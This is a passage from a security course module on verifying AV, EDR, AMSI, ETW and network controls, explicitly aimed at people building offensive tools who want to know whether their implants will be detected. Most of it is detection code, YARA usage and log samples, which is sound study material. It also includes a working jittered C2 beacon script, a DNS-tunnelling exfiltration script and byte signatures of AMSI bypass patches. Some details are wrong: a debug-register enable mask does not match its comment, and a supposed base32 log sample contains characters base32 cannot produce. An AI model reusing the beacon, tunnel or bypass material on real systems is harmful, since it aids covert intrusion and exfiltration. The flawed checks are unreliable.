A scan result is just text until you prove it means something. "0 detections" could mean clean, or it could mean the scanner never ran, or the file was excluded, or the definitions were stale. Verification is the discipline of proving your tools work before you bet your operation on them.
Why this matters: Every offensive tool you build — injectors, rootkits, C2 implants — must be verified against real defensive controls. If you don't verify, you're guessing. And guessing gets you caught.
🎯 Soldier Translation
You wouldn't field a rifle without test-firing it. Same for malware. Before you deploy a tool on a target, you scan it. But how do you know the scan was real? This module teaches you to read scan results like a forensic analyst — not just the headline, but the metadata that proves the scan actually happened.
More than that: you learn to verify memory, detect API hooks, analyze parent-child relationships, and test EDR/AMSI/ETW — so you know what the defender sees when you run your tools.
"If you can't detect it, you can't defend against it."
A defender trying to stop something they cannot see is just guessing. Detection is the prerequisite for every other control: blocking, quarantining, alerting, hunting, and responding. If your sensor misses the technique, the policy behind it is dead code.
Red: Before you trust an evasion, prove the target control can actually see the baseline technique. If it cannot, your "bypass" is theater. Blue: Every defensive rule, signature, and behavioral model must be exercised with a known-bad sample. A silent sensor is worse than no sensor because it gives false confidence.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
Every defensive verification follows the same pattern. Master this pattern and you can validate any security control:
1. BASELINE
Establish Normal
Document what "clean" looks like
→
2. INJECT
Deploy Test Payload
Run known-bad technique
→
3. OBSERVE
Capture Telemetry
Collect logs, memory, network
→
4. VERIFY
Prove Detection
Did the control actually fire?
→
5. DOCUMENT
Record Evidence
Reproducible proof of result
Why this pattern is universal
Every security control — AV, EDR, firewall, DLP — can be verified with the same five steps. The payload changes (malware, injection, data exfiltration), but the verification methodology never does. This is the scientific method applied to offensive security.
"Test your evasion honestly."
It is easy to make a bypass look good by testing it against a sensor that is already broken, misconfigured, or disabled. Honest verification means assuming the defense is healthy until you prove otherwise, running the baseline attack first, and only then measuring how well your evasion holds up.
Red: Confirm the EDR actually catches plain-vanilla injection before you claim your unhooked syscalls evade it. Otherwise you are celebrating a win against a blind opponent. Blue: Run Atomic Red Team tests unmodified before tuning custom detections. If a stock MITRE technique does not alert, your custom logic is not the problem — visibility is.
🎯 Section 1: Memory Scanning Verification
AV scans files on disk. EDR scans memory. A file can be "clean" on disk but malicious in memory. Memory scanning verification proves your defensive tools see what actually executes.
Technique 1: YARA Memory Scanning MEDIUM
YARA rules match patterns in memory. EDRs use YARA-like engines to detect shellcode, injected DLLs, and unpacked payloads. You verify by injecting known-bad shellcode and checking if YARA catches it.
Why this works
Malware often unpacks or injects itself into memory. The disk image is benign (encrypted, packed, or legitimate). The memory image contains the real payload. YARA scans memory to find the unpacked truth.
Step 1: Create a Test YARA Rule
This rule detects a common Meterpreter reverse shell signature in memory.
$a — Hex bytes of a common x64 decoder stub. Meterpreter uses this to unpack itself. $b — The string "metsrv.x64.dll", Meterpreter's core DLL name. $c — The ASCII bytes for "METERPRETER". If ANY of these match in a process's memory, the rule fires.
Step 2: Run YARA Against a Suspicious Process
yara64.exe -p 8 meterpreter_mem_check.yar <PID>
# Example: Scan notepad.exe PID 1234
yara64.exe -p 8 meterpreter_mem_check.yar 1234
# Output if POSITIVE (detection):
meterpreter_mem_check 1234
# Output if NEGATIVE (no detection):
# (no output — YARA is silent on no match)
What does -p 8 mean?
8 threads for scanning. Memory scanning is I/O bound — more threads speed it up. Don't use more threads than CPU cores.
Step 3: Verify the Scan Actually Happened
YARA has no "verbose" mode by default. Use -s to show matching strings, proving the scan touched memory:
Virtual addresses present: 0x7ff812345678 — This is a real memory address in the target process. Fake scans don't show addresses. Matching bytes: 48 31 c9... matches our rule exactly. Multiple strings: Both $a and $b matched — increases confidence.
⚠️ What would a FAKE or BROKEN YARA scan look like?
No output on a known-infected process — Rule is wrong, or process isn't actually infected, or YARA can't read the memory (access denied).
"error: can't open file" — Wrong PID, process exited, or insufficient privileges.
Matches on EVERY process — Rule is too broad (false positive storm). Tighten strings.
Addresses in kernel space on a user-mode process — Impossible. Indicates corrupted output or wrong PID.
Technique 2: Memory Dump Verification with Volatility HARD
Volatility analyzes RAM dumps offline. You verify by dumping a process's memory, then using Volatility plugins to detect injection, hollowed processes, and hidden DLLs.
Step 1: Dump Process Memory
procdump.exe -accepteula -ma <PID> suspicious.dmp
# Dump notepad.exe (PID 1234) with all memory (including private pages)
procdump.exe -accepteula -ma 1234 notepad_suspicious.dmp
[12:34:56] Dump 1 initiated: notepad_suspicious.dmp
[12:34:57] Dump 1 complete: 847 MB written in 2.1 seconds
Step 2: Analyze with Volatility malfind
malfind finds injected code — memory regions that are executable but not backed by a file on disk.
PID Process Start End Protection
------ -------------- ---------------- ---------------- ----------
1234 notepad.exe 0x1a40000 0x1a41fff PAGE_EXECUTE_READWRITE
# Disassembly of first bytes at 0x1a40000:
0x1a40000: fc cld
0x1a40001: 48 83 e4 f0 and rsp, 0xfffffffffffffff0
0x1a40005: e8 c0 00 00 00 call 0x1a400d0
# VAD tags: VadS (Private memory, no file backing)
# Protection: PAGE_EXECUTE_READWRITE (RWE) — highly suspicious
How do I know this is injected code?
VadS tag: "S" = Short VAD = private allocated memory. No file backs it. PAGE_EXECUTE_READWRITE: RWE is rare for legitimate code. Legitimate DLLs use PAGE_EXECUTE_READ. RWE suggests dynamically allocated shellcode. Call instruction: 0xe8 is a relative call — common in position-independent shellcode. No mapped file: If malfind shows a region with no file path, it's either heap, stack, or injected.
Step 3: Verify with ldrmodules
ldrmodules compares three lists of loaded DLLs: PEB (what the process thinks it has), VAD (what memory says), and kernel modules. Mismatches = hidden/unlinked DLLs (rootkit technique from Module 11).
PID Process Base InLoad InInit InMem MappedPath
------ --------------- ---------------- ------ ------ ------ ------------------------
1234 notepad.exe 0x7ff600000000 True True True C:\Windows\notepad.exe
1234 notepad.exe 0x7ff812340000 True True True C:\Windows\System32\ntdll.dll
1234 notepad.exe 0x7ff812350000 True False False UNKNOWN
# The third entry: InLoad=True, InInit=False, InMem=False
# The DLL is in the PEB load list but NOT in initialization order or memory lists
# This is a classic unlinked DLL — rootkit hiding technique
⚠️ Cross-link to Module 11: Rootkits
This exact technique — unlinking a DLL from InInit and InMem lists — is covered in Module 11: Rootkits. If you see this pattern, the process is rootkitted. The defensive verification proves the rootkit failed to hide completely.
🎯 Section 2: API Hooking Detection
EDR products hook critical Windows APIs (NtCreateThreadEx, NtAllocateVirtualMemory) to monitor behavior. Attackers unhook them (Module 13). Defenders verify hooks are present and functional. You must verify both sides: that hooks exist, and that unhooking defeats them.
Technique 1: Detect User-Mode API Hooks MEDIUM
EDR hooks typically overwrite the first 5-20 bytes of NTDLL functions with a JMP to the EDR's monitoring DLL. You detect this by comparing the in-memory bytes of NTDLL against the on-disk NTDLL.dll.
Why this works
NTDLL.dll on disk is the "gold standard." When Windows loads it into a process, EDR may patch it. If the in-memory version differs from the disk version at function entry points, someone patched it — either EDR (legitimate hook) or malware (unhooking attempt).
Step 1: Read NTDLL from Disk vs Memory
// hook_detect.c — Detect API hooks by comparing NTDLL on disk vs in memory
// Compile: cl.exe hook_detect.c /Fe:hook_detect.exe
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
// Read NTDLL from disk (the "clean" reference)
BOOL ReadNtdllFromDisk(LPBYTE* buffer, DWORD* size) {
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
*size = GetFileSize(hFile, NULL);
*buffer = (LPBYTE)malloc(*size);
DWORD read;
ReadFile(hFile, *buffer, *size, &read, NULL);
CloseHandle(hFile);
return TRUE;
}
// Get function RVA from export table
DWORD GetExportRVA(LPBYTE base, const char* funcName) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
base + nt->OptionalHeader.DataDirectory[0].VirtualAddress
);
DWORD* names = (DWORD*)(base + exp->AddressOfNames);
WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)(base + names[i]);
if (strcmp(name, funcName) == 0) {
return funcs[ordinals[i]];
}
}
return 0;
}
int main() {
LPBYTE diskNtdll;
DWORD diskSize;
if (!ReadNtdllFromDisk(&diskNtdll, &diskSize)) {
printf("[-] Failed to read NTDLL from disk\n");
return 1;
}
// Get NTDLL base in current process memory
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPBYTE memNtdll = (LPBYTE)hNtdll;
// Check NtCreateThreadEx — commonly hooked by EDR
const char* targetFunc = "NtCreateThreadEx";
DWORD rva = GetExportRVA(diskNtdll, targetFunc);
if (!rva) {
printf("[-] Could not find %s in export table\n", targetFunc);
return 1;
}
printf("[+] %s RVA: 0x%08X\n", targetFunc, rva);
// Compare first 32 bytes
printf("[+] Comparing first 32 bytes (disk vs memory):\n");
for (int i = 0; i < 32; i++) {
BYTE diskByte = diskNtdll[rva + i];
BYTE memByte = memNtdll[rva + i];
if (diskByte != memByte) {
printf(" MISMATCH at offset +%02d: disk=0x%02X, mem=0x%02X <--- HOOK DETECTED\n",
i, diskByte, memByte);
} else {
printf(" Match at offset +%02d: 0x%02X\n", i, memByte);
}
}
free(diskNtdll);
return 0;
}
What am I looking for?
MISMATCH lines: If you see "MISMATCH at offset +0" with disk=0x4C and mem=0xE9, that's a JMP (0xE9) replacing the real instruction. EDR hook confirmed. If ALL bytes match, either no EDR is present, or the EDR uses a different hooking technique (e.g., hardware breakpoints, kernel callbacks).
Step 2: Interpret Results
=== HOOKED PROCESS (with EDR) ===
[+] NtCreateThreadEx RVA: 0x000C2110
[+] Comparing first 32 bytes (disk vs memory):
MISMATCH at offset +0: disk=0x4C, mem=0xE9 <--- HOOK DETECTED
MISMATCH at offset +1: disk=0x8B, mem=0x1D
MISMATCH at offset +2: disk=0xD1, mem=0x00
... (JMP rel32 to EDR monitoring DLL)
=== CLEAN PROCESS (no EDR / unhooked) ===
[+] NtCreateThreadEx RVA: 0x000C2110
[+] Comparing first 32 bytes (disk vs memory):
Match at offset +0: 0x4C
Match at offset +1: 0x8B
Match at offset +2: 0xD1
... (all match — no hook present)
⚠️ Cross-link to Module 13: EDR Evasion
The "clean" output above is exactly what an attacker achieves after unhooking (Module 13). They read NTDLL from disk and overwrite the hooked bytes in memory. Your verification must detect BOTH: hooks present (EDR working) and hooks absent (EDR evaded or no EDR).
Technique 2: Detect Hardware Breakpoint Hooks HARD
Advanced EDR uses CPU debug registers (DR0-DR3) to set hardware breakpoints on sensitive APIs. These don't modify memory bytes, so byte-comparison fails. You detect them by reading the debug registers directly.
// hwbp_detect.c — Detect hardware breakpoints set by EDR
// Compile: cl.exe hwbp_detect.c /Fe:hwbp_detect.exe
#include <windows.h>
#include <stdio.h>
// Structure for thread context
#ifdef _WIN64
typedef struct _DEBUG_REGISTERS {
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7;
} DEBUG_REGISTERS;
#else
typedef struct _DEBUG_REGISTERS {
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
} DEBUG_REGISTERS;
#endif
int main() {
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
printf("[-] GetThreadContext failed\n");
return 1;
}
printf("[+] Debug Register State:\n");
printf(" DR0 = 0x%p (Breakpoint 1 address)\n", (void*)ctx.Dr0);
printf(" DR1 = 0x%p (Breakpoint 2 address)\n", (void*)ctx.Dr1);
printf(" DR2 = 0x%p (Breakpoint 3 address)\n", (void*)ctx.Dr2);
printf(" DR3 = 0x%p (Breakpoint 4 address)\n", (void*)ctx.Dr3);
printf(" DR6 = 0x%p (Status: which breakpoint fired)\n", (void*)ctx.Dr6);
printf(" DR7 = 0x%p (Control: enable/disable + type)\n", (void*)ctx.Dr7);
// Check if any breakpoints are enabled
// DR7 bits 0,2,4,6 = Local enable for DR0-DR3
if (ctx.Dr7 & 0x111) {
printf("\n[!] HARDWARE BREAKPOINTS DETECTED!\n");
printf(" EDR or debugger is monitoring this process.\n");
// Decode DR7 to show which registers are active and what type
for (int i = 0; i < 4; i++) {
DWORD64 addr = (i == 0) ? ctx.Dr0 : (i == 1) ? ctx.Dr1 : (i == 2) ? ctx.Dr2 : ctx.Dr3;
int enabled = (ctx.Dr7 >> (i * 2)) & 1;
int type = (ctx.Dr7 >> (16 + i * 4)) & 3; // 0=exec, 1=write, 3=read/write
int size = (ctx.Dr7 >> (18 + i * 4)) & 3; // 0=1B, 1=2B, 3=4B, 2=8B
if (enabled) {
const char* typeStr[] = {"Execute", "Write", "???", "Read/Write"};
const char* sizeStr[] = {"1 byte", "2 bytes", "8 bytes", "4 bytes"};
printf(" DR%d: 0x%p | Type: %s | Size: %s\n",
i, (void*)addr, typeStr[type], sizeStr[size]);
}
}
} else {
printf("\n[+] No hardware breakpoints active.\n");
}
return 0;
}
How do I know this is EDR and not a debugger?
Address range: If DR0 points to an address inside ntdll.dll or kernel32.dll, it's likely EDR monitoring. If it points to your own code, it's probably a debugger you attached. Multiple breakpoints: EDR often sets 2-4 breakpoints on key APIs. Debuggers usually set 1. Type=Execute: EDR monitors API execution entry points. Debuggers might use Read/Write breakpoints on data.
🎯 Section 3: Behavioral Analysis Verification
Signature-based detection looks for known bytes. Behavioral analysis looks for actions — process creation, memory allocation patterns, network connections. Behavioral verification proves your EDR catches suspicious patterns even when the bytes are unknown.
"The defender's advantage is knowing the environment."
An attacker sees a target from the outside and must discover what is normal. A defender already lives inside the environment and knows which processes should talk to which hosts, which users run which tools, and what "weird" looks like on this specific network. Verification turns that local knowledge into a test: if something abnormal happens here, does the control notice?
Red: Blend into the environment's normal rhythm. A PowerShell script at 2 PM from an admin workstation is noise; the same script at 2 AM from a finance laptop is a siren. Blue: Build detections around your own baselines, not generic threat intelligence. The value is not the rule — it is the context the rule is written for.
Technique 1: Process Spawn Chain Analysis MEDIUM
Legitimate processes have predictable parent-child relationships. Explorer spawns Chrome. Services.exe spawns svchost. When Word spawns PowerShell, or PowerShell spawns rundll32, that's suspicious. Behavioral verification tracks these chains.
Step 1: Capture Parent-Child Relationships with Sysmon
Sysmon Event ID 1 logs process creation with parent process information. This is the gold standard for behavioral verification.
wevtutil qe Microsoft-Windows-Sysmon/Operational /q:"*[System[(EventID=1)]]" /f:text /c:5
ParentImage = WINWORD.EXE, Image = powershell.exe. Word documents should not spawn PowerShell. This is a classic macro-based attack pattern. The -enc flag indicates base64-encoded commands — another red flag. Even if the AV never saw this specific payload, the behavior is enough to alert.
Step 2: Verify Detection with MITRE ATT&CK Mapping
Every behavioral anomaly maps to a MITRE technique. Verification isn't just "suspicious" — it's "this is T1059.001."
=== BEHAVIORAL VERIFICATION MATRIX ===
| Observation | MITRE Technique | Detection Confidence |
|------------------------------------|------------------------|----------------------|
| Word → PowerShell -enc | T1059.001 (PowerShell) | HIGH |
| PowerShell → rundll32.exe | T1218.011 (Rundll32) | HIGH |
| rundll32 → network connection | T1071 (C2) | MEDIUM |
| Process hollowing in svchost | T1055.012 (Hollowing) | HIGH |
| LSASS memory read | T1003.001 (LSASS) | HIGH |
| WMI event subscription created | T1546.003 (WMI) | MEDIUM |
=== VERIFICATION RULE ===
If ANY row has "HIGH" confidence AND the EDR generated an alert,
behavioral verification PASSED.
If the EDR was silent on a HIGH-confidence technique,
behavioral verification FAILED — the EDR is blind.
Technique 2: Parent-Child Anomaly Scoring MEDIUM
Not all parent-child pairs are equal. Some are always suspicious. You verify by scoring relationships and checking if your EDR catches the high-score ones.
Run this tool on a test machine. If it reports "WINWORD.EXE → powershell.exe" but your EDR never alerted, your EDR missed a T1059.001 technique. That's a verification failure. Document it. The goal isn't to criticize — it's to know what your tools can and cannot see.
🎯 Section 4: Network Monitoring Verification
C2 traffic, data exfiltration, and lateral movement all cross the network. Network monitoring verification proves your sensors catch malicious traffic even when the endpoint is compromised and logs are deleted.
Technique 1: Verify C2 Beacon Detection MEDIUM
C2 beacons have a signature: regular intervals, consistent payload sizes, long-lived connections, and DNS/HTTPS tunneling. Network verification generates test beacons and checks if NIDS/NIPS catches them.
Step 1: Generate a Test Beacon
# beacon_test.py — Generate synthetic C2 beacon traffic for verification
# Run: python beacon_test.py
import socket
import time
import random
import base64
C2_HOST = "192.168.1.92" # Your C2 server (from Module 16)
C2_PORT = 4443 # Your C2 port
BEACON_INTERVAL = 30 # Seconds between beacons (jittered)
JITTER = 5 # +/- 5 seconds randomization
def beacon():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((C2_HOST, C2_PORT))
# Simulate heartbeat payload (consistent size = beacon signature)
heartbeat = f"HEARTBEAT|{random.randint(1000,9999)}|OK"
s.send(heartbeat.encode())
response = s.recv(1024)
print(f"[+] Beacon sent: {heartbeat}")
print(f"[+] Response: {response.decode()}")
s.close()
except Exception as e:
print(f"[-] Beacon failed: {e}")
# Jittered sleep — real beacons do this to evade timing detection
sleep_time = BEACON_INTERVAL + random.randint(-JITTER, JITTER)
print(f"[*] Sleeping {sleep_time}s until next beacon...")
time.sleep(sleep_time)
if __name__ == "__main__":
beacon()
What makes this a beacon?
Regular intervals: Every ~30 seconds. Consistent payload size: "HEARTBEAT|XXXX|OK" is always ~20 bytes. Same destination: Always 192.168.1.92:4443. Short connections: Connect, send, receive, close. These four traits are the beacon fingerprint that NIDS rules target.
06/29/2026-12:34:56.789123 [**] [1:1000001:1] ET MALWARE Possible C2 Beacon [**]
[Classification: A Network Trojan was Detected] [Priority: 1]
{TCP} 192.168.1.42:54321 -> 192.168.1.92:4443
06/29/2026-12:35:27.123456 [**] [1:1000001:1] ET MALWARE Possible C2 Beacon [**]
[Classification: A Network Trojan was Detected] [Priority: 1]
{TCP} 192.168.1.42:54322 -> 192.168.1.92:4443
06/29/2026-12:35:58.456789 [**] [1:1000001:1] ET MALWARE Possible C2 Beacon [**]
[Classification: A Network Trojan was Detected] [Priority: 1]
{TCP} 192.168.1.42:54323 -> 192.168.1.92:4443
How do I know the NIDS is working?
Consistent alert ID: 1000001 fired 3 times — rule is active. Same destination: All alerts point to 192.168.1.92:4443. Source port incrementing: 54321, 54322, 54323 — new connection each time (beacon behavior). Priority 1: Highest severity. If you see these alerts, network verification PASSED.
Step 3: Verify with NetFlow Analysis
NetFlow records connection metadata without payload inspection. It catches beacons by pattern, not content.
nfdump -R /var/log/nfdump/2026/06/29 "src host 192.168.1.42 and dst port 4443"
Date first seen Duration Proto Src IP Addr:Port Dst IP Addr:Port Packets Bytes Flows
2026-06-29 12:34:56 0.234 TCP 192.168.1.42:54321 -> 192.168.1.92:4443 4 240 1
2026-06-29 12:35:27 0.189 TCP 192.168.1.42:54322 -> 192.168.1.92:4443 4 240 1
2026-06-29 12:35:58 0.201 TCP 192.168.1.42:54323 -> 192.168.1.92:4443 4 240 1
=== BEACON VERIFICATION METRICS ===
Interval consistency: 31s, 31s (target: 30s +/- 5s) -> PASS
Payload consistency: 240 bytes each -> PASS
Connection duration: <1s each -> PASS
Flow count: 3 in 62s -> PASS
VERDICT: Classic beacon pattern. Network monitoring verification: PASSED.
Technique 2: DNS Tunneling Detection Verification HARD
DNS tunneling encodes data in subdomain queries. It's stealthy because DNS is allowed everywhere. Verification proves your DNS monitoring catches abnormal query patterns.
# dns_tunnel_test.py — Generate synthetic DNS tunnel traffic
# Run: python dns_tunnel_test.py
import dns.resolver
import base64
import time
import random
DOMAIN = "tun.22nd-survey.local" # Your test domain
EXFIL_DATA = "SECRET_DATA_TO_EXFILTRATE" # Simulated secret
CHUNK_SIZE = 63 # DNS label max length
def tunnel_encode(data):
"""Encode data into DNS-safe subdomain labels"""
b64 = base64.b32encode(data.encode()).decode().lower()
chunks = [b64[i:i+CHUNK_SIZE] for i in range(0, len(b64), CHUNK_SIZE)]
return ".".join(chunks)
def send_tunnel_query(data_chunk):
"""Send a DNS query that encodes data in the subdomain"""
subdomain = tunnel_encode(data_chunk)
query = f"{subdomain}.{DOMAIN}"
try:
answers = dns.resolver.resolve(query, 'A')
for rdata in answers:
print(f"[+] Query: {query[:50]}... -> Response: {rdata}")
except Exception as e:
print(f"[-] Query failed (expected if domain doesn't exist): {e}")
def main():
print("[+] Starting DNS tunnel verification test...")
print(f"[+] Data to exfiltrate: {EXFIL_DATA}")
print(f"[+] Target domain: {DOMAIN}")
# Split data into chunks
chunks = [EXFIL_DATA[i:i+20] for i in range(0, len(EXFIL_DATA), 20)]
for i, chunk in enumerate(chunks):
print(f"[*] Sending chunk {i+1}/{len(chunks)}...")
send_tunnel_query(chunk)
time.sleep(random.uniform(0.5, 2.0)) # Jitter to evade rate detection
print("[+] DNS tunnel test complete.")
print("[!] Check your DNS logs for:")
print(" - Unusually long subdomains (>100 chars total)")
print(" - High query rate to same domain")
print(" - Base32-like encoding patterns (a-z, 2-7)")
print(" - NXDOMAIN responses (tunnel domains often don't exist)")
if __name__ == "__main__":
main()
⚠️ What DNS tunneling looks like in logs
Jun 29 12:45:01 dns-server named[1234]: query:
c2vcm2v0df9kYXr0df90df9lehma5n0u0nku22nd-survey.local IN A + (192.168.1.42)
Jun 29 12:45:03 dns-server named[1234]: query:
n0v0df9lehma5n0u0nku22nd-survey.local IN A + (192.168.1.42)
Jun 29 12:45:05 dns-server named[1234]: query:
u0nku22nd-survey.local IN A + (192.168.1.42)
=== DNS TUNNEL INDICATORS ===
Subdomain length: 63 + 32 + 8 = 103 chars total -> ABNORMAL (normal: <30)
Encoding pattern: Base32 (lowercase a-z, digits 2-7) -> SUSPICIOUS
Query rate: 3 queries in 4 seconds -> HIGH
Response type: NXDOMAIN -> TUNNELING SIGNATURE (data exfil doesn't need real records)
🎯 Section 5: EDR Testing
EDR is the last line of defense. EDR testing verifies that endpoint sensors catch techniques even when network and memory scans miss them. This is the most important verification — if EDR is blind, you're flying solo.
Technique 1: EDR Sensor Status Verification EASY
Before testing detection, verify the EDR is actually running and healthy. A blind test against a stopped EDR is worthless.
Module Name Display Name Status Start Mode State
----------- --------------------- ------- ---------- ---------
SentinelDrv Sentinel One Driver Running System Running
SentinelFS Sentinel File System Running System Running
SentinelNet Sentinel Network Running System Running
=== DRIVER STATUS: ALL LOADED ===
Process monitoring: RUNNING (SentinelDrv)
File system filter: RUNNING (SentinelFS)
Network filter: RUNNING (SentinelNet)
If ANY driver shows "Stopped" or is missing,
EDR verification is INVALID — test on a different machine.
Technique 2: EDR Detection Efficacy Test HARD
Use the MITRE ATT&CK Evaluation Framework (or Atomic Red Team) to run known-bad techniques and verify the EDR catches them. This is the gold standard for EDR verification.
Step 1: Install Atomic Red Team
Invoke-AtomicTest -Install
Step 2: Run a Known Technique and Verify Detection
Invoke-AtomicTest T1055.001 -TestNumbers 1
=== ATOMIC TEST: T1055.001 (Process Injection: DLL Injection) ===
Technique: Inject a DLL into a remote process using CreateRemoteThread
Target: notepad.exe (spawned for test)
Payload: benign test DLL (atomic_test.dll)
[+] Spawning notepad.exe...
[+] Injecting atomic_test.dll into PID 5678...
[+] Injection complete. Thread ID: 12345
=== EDR VERIFICATION CHECKLIST ===
☑ Process creation event (notepad.exe spawned)
☑ OpenProcess call to notepad.exe
☑ VirtualAllocEx in remote process
☑ WriteProcessMemory to remote process
☑ CreateRemoteThread in remote process
☑ DLL load event (atomic_test.dll loaded)
☑ Alert generated with T1055.001 mapping
VERDICT: If ALL boxes checked, EDR detection verification PASSED.
If any box unchecked, EDR has a blind spot for that technique.
⚠️ Cross-link to Module 10: Code Injection
T1055.001 is the exact technique covered in Module 10: Code Injection. If your EDR misses this, your injector from Module 10 will go undetected. If it catches it, you know you need evasion from Module 13: EDR Evasion.
🎯 Section 6: AMSI / ETW Verification
AMSI (Anti-Malware Scan Interface) scans scripts and dynamic code. ETW (Event Tracing for Windows) logs system events for security monitoring. Both are critical defensive controls. Verification proves they work — and shows how attackers bypass them.
Technique 1: AMSI Status and Functionality Verification EASY
AMSI can be disabled by registry, patched in memory, or simply not present. Verify it's active before trusting any PowerShell scan results.
=== AMSI WORKING ===
# In PowerShell:
$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
# Result: Script contains malicious content and was blocked by AMSI.
# PowerShell terminates with error: At line:1 char:1
# + $eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST ...
# + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# This script contains malicious content and has been blocked by your antivirus software.
=== AMSI BYPASSED / DISABLED ===
# Same command runs without error
# $eicar variable is set successfully
# AMSI is either disabled, patched, or not present
Why EICAR?
The EICAR string is universally recognized by ALL AV/AMSI engines as a test marker. It is harmless — it does nothing. But every scanner is trained to detect it. If AMSI doesn't block this string, AMSI is not functioning.
Technique 2: AMSI In-Memory Patch Detection HARD
Attackers patch AMSI.dll in memory to disable scanning without touching the registry. Defenders verify by detecting the patch. This is the arms race in action.
// amsi_patch_detect.c — Detect if AMSI has been patched in memory
// Compile: cl.exe amsi_patch_detect.c /Fe:amsi_patch_detect.exe
#include <windows.h>
#include <stdio.h>
// AMSI.AmsiScanBuffer is the function PowerShell calls to scan scripts
// Normal entry: mov r11, [rip+0xXXXX] (load function pointer from IAT)
// Patched entry: mov rax, 0x80070057 (E_INVALIDARG) ; ret
// or: xor eax, eax ; ret (S_OK, meaning "clean")
typedef struct {
const char* funcName;
BYTE expectedNormal[16]; // First bytes of unpatched function
BYTE expectedPatch[16]; // First bytes of common patches
const char* patchDescription;
} AMSI_PATCH_SIG;
AMSI_PATCH_SIG g_sigs[] = {
{
"AmsiScanBuffer",
{0x4C, 0x8B, 0xDC}, // mov r11, rsp (typical prologue)
{0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3}, // mov eax, 0x80070057 ; ret
"Patch returns E_INVALIDARG (AMSI bypass)"
},
{
"AmsiScanBuffer",
{0x4C, 0x8B, 0xDC},
{0x31, 0xC0, 0xC3}, // xor eax, eax ; ret
"Patch returns S_OK (AMSI blind)"
},
{
"AmsiScanBuffer",
{0x4C, 0x8B, 0xDC},
{0x48, 0x31, 0xC0}, // xor rax, rax (x64)
"Patch clears return value (x64 bypass)"
},
{NULL, {0}, {0}, NULL}
};
int main() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) {
printf("[-] AMSI.DLL not loaded. AMSI is not present on this system.\n");
return 1;
}
printf("[+] AMSI.DLL loaded at %p\n", hAmsi);
FARPROC pScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pScanBuffer) {
printf("[-] AmsiScanBuffer not found. AMSI is corrupted or non-standard.\n");
return 1;
}
printf("[+] AmsiScanBuffer at %p\n", pScanBuffer);
printf("[+] Reading first 16 bytes...\n\n");
BYTE* memBytes = (BYTE*)pScanBuffer;
printf("Current bytes: ");
for (int i = 0; i < 16; i++) {
printf("%02X ", memBytes[i]);
}
printf("\n\n");
// Check against known patch signatures
BOOL patched = FALSE;
for (int i = 0; g_sigs[i].funcName != NULL; i++) {
BOOL match = TRUE;
for (int j = 0; j < 16 && g_sigs[i].expectedPatch[j] != 0; j++) {
if (memBytes[j] != g_sigs[i].expectedPatch[j]) {
match = FALSE;
break;
}
}
if (match) {
printf("[!] PATCH DETECTED: %s\n", g_sigs[i].patchDescription);
printf(" Signature: %s\n", g_sigs[i].funcName);
patched = TRUE;
}
}
if (!patched) {
printf("[+] AmsiScanBuffer appears UNPATCHED.\n");
printf(" First bytes match expected prologue.\n");
printf(" AMSI is likely active and functional.\n");
}
return 0;
}
⚠️ Cross-link to Module 03: PowerShell
The patches detected above are exactly the techniques from Module 03: PowerShell (AMSI bypass). If this detector finds a patch, someone (or some tool) has already disabled AMSI. Your PowerShell scripts will run undetected — but so will real malware. Verification is about knowing the ground truth.
Technique 3: ETW Provider Verification MEDIUM
ETW providers log security events. If a provider is disabled or tampered with, critical telemetry is lost. Verification checks provider health and tests event generation.
=== ETW PROVIDER STATUS ===
Microsoft-Windows-Security-Auditing {54849625-5478-4994-A5BA-3E3B0328C30D}
Microsoft-Windows-PowerShell {A0C1853B-5C40-4B15-8766-3CF1C58F985A}
Microsoft-Windows-Sysmon {5770385F-C22A-43E0-BF4C-06F5698FFBD9}
Status: ALL PRESENT
If any provider is missing, ETW logging for that subsystem is BROKEN.
Step 2: Verify ETW Event Generation
Generate a PowerShell event and verify it appears in ETW logs.
wevtutil qe Microsoft-Windows-PowerShell/Operational /q:"*[System[(EventID=4104)]]" /f:text /c:1
=== ETW EVENT VERIFICATION ===
Event[0]:
Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell
Date: 2026-06-29T12:45:00.123
Event ID: 4104
Task: Execute a Remote Command
Level: Information
Opcode: Info
Keyword: None
User: DESKTOP-R32M8MLI\gwu07
User Name: DESKTOP-R32M8MLI\gwu07
Computer: DESKTOP-R32M8MLI
Description:
ScriptBlock ID: a1b2c3d4-5678-9012-3456-7890abcdef01
ScriptBlock Text: Invoke-Expression -Command "Get-Process"
=== VERIFICATION ===
Event ID 4104 = Script block logging (PowerShell v5+)
ScriptBlock text captured = ETW is actively logging
If Event ID 4104 is missing or ScriptBlock text is empty,
ETW logging is DISABLED or TAMPERED.
